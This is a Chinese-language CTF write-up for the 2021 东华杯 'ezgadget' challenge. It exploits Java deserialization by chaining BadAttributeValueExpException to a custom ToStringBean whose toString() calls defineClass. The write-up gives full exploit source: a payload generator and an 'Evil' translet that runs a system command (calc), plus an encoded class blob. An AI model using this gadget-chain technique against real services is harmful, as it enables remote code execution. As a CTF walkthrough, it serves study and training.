附件传不上来欸,直接看题吧
    首先看路由发现反序列化的点
    image.png
    接着看pom.xml找有无利用的第三方组件
    image.png
    似乎只有spring-boot,然后看其他源码,发现ToStringBean.java#toString()里面有defineClass(),这是好东西哇,在ClassLoader(类加载器)里面提到这是加载字节码的东西,所以目标明确,从readObject()走到toString()再到defineClass(),正好在CC5中有BadAttributeValueExpException调用了toString,所以直接一把梭

    1. package com.yq1ng.ezgadget;
    2. import javax.management.BadAttributeValueExpException;
    3. import java.io.*;
    4. import java.lang.reflect.Field;
    5. import java.net.URLEncoder;
    6. import java.nio.file.Files;
    7. import java.nio.file.Paths;
    8. import java.util.Base64;
    9. /**
    10. * @author ying
    11. * @Description 东华杯2021
    12. * @create 2021-11-10 5:27 PM
    13. */
    14. public class GetFlag {
    15. public static void main(String[] args) throws Exception{
    16. // 利用cc5后半段
    17. BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
    18. Class clazz = Class.forName("javax.management.BadAttributeValueExpException");
    19. Field field = clazz.getDeclaredField("val");
    20. field.setAccessible(true);
    21. com.ezgame.ctf.tools.ToStringBean toStringBean = new com.ezgame.ctf.tools.ToStringBean();
    22. field.set(badAttributeValueExpException,toStringBean);
    23. // byte[] classByte = Base64.getDecoder().decode("yv66vgAAADQAKQoACAAZCgAaABsIABwKABoAHQcAHgoABQAfBwAgBwAhAQAJdHJhbnNmb3JtAQBy"+"KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9v"+"cmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylW"+"AQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACIBAKYoTGNvbS9zdW4vb3Jn"+"L2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwv"+"aW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRl"+"cm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+AQADKClWAQAN"+"U3RhY2tNYXBUYWJsZQcAIAcAHgEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAKU291"+"cmNlRmlsZQEACUV2aWwuamF2YQwAEAARBwAjDAAkACUBAA9jbWQgL2MgY2FsYy5leGUMACYAJwEA"+"E2phdmEvbGFuZy9FeGNlcHRpb24MACgAEQEABEV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFs"+"YW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcv"+"YXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5n"+"L1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhM"+"amF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAh"+"AAcACAAAAAAABAABAAkACgACAAsAAAAZAAAAAwAAAAGxAAAAAQAMAAAABgABAAAAEAANAAAABAAB"+"AA4AAQAJAA8AAgALAAAAGQAAAAQAAAABsQAAAAEADAAAAAYAAQAAABQADQAAAAQAAQAOAAEAEAAR"+"AAEACwAAAGAAAgACAAAAFiq3AAG4AAISA7YABFenAAhMK7YABrEAAQAEAA0AEAAFAAIADAAAABoA"+"BgAAABYABAAYAA0AHAAQABoAEQAbABUAHQASAAAAEAAC/wAQAAEHABMAAQcAFAQACQAVABYAAQAL"+"AAAAGQAAAAEAAAABsQAAAAEADAAAAAYAAQAAACAAAQAXAAAAAgAY");
    24. byte[] classByte = Files.readAllBytes(Paths.get("F:\\study\\temp\\target\\classes\\com\\yq1ng\\ezgadget\\Evil.class"));
    25. clazz = Class.forName("com.ezgame.ctf.tools.ToStringBean");
    26. field = clazz.getDeclaredField("ClassByte");
    27. field.setAccessible(true);
    28. field.set(toStringBean,classByte);
    29. ByteArrayOutputStream bout = new ByteArrayOutputStream();
    30. ObjectOutputStream oout = new ObjectOutputStream(bout);
    31. oout.writeUTF("gadgets");
    32. oout.writeInt(2021);
    33. oout.writeObject(badAttributeValueExpException);
    34. byte[] bytes = bout.toByteArray();
    35. byte[] encode = Base64.getEncoder().encode(bytes);
    36. System.out.println(URLEncoder.encode(new String(encode)));
    37. }
    38. }
    1. package com.yq1ng.ezgadget;
    2. import com.sun.org.apache.xalan.internal.xsltc.DOM;
    3. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    4. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    5. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    6. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    7. /**
    8. * @author ying
    9. * @Description
    10. * @create 2021-11-10 5:20 PM
    11. */
    12. public class Evil extends AbstractTranslet {
    13. public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    14. }
    15. public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    16. }
    17. public Evil() {
    18. try {
    19. Runtime.getRuntime().exec("calc");
    20. }
    21. catch (Exception ex) {
    22. ex.printStackTrace();
    23. }
    24. }
    25. public static void main(final String[] array) {
    26. }
    27. }
    1. //
    2. // Source code recreated from a .class file by IntelliJ IDEA
    3. // (powered by Fernflower decompiler)
    4. //
    5. package com.ezgame.ctf.tools;
    6. import java.io.Serializable;
    7. public class ToStringBean extends ClassLoader implements Serializable {
    8. private byte[] ClassByte;
    9. public ToStringBean() {
    10. }
    11. public String toString() {
    12. ToStringBean toStringBean = new ToStringBean();
    13. Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
    14. Object var3 = null;
    15. try {
    16. var3 = clazz.newInstance();
    17. } catch (InstantiationException var5) {
    18. var5.printStackTrace();
    19. } catch (IllegalAccessException var6) {
    20. var6.printStackTrace();
    21. }
    22. return "enjoy it.";
    23. }
    24. }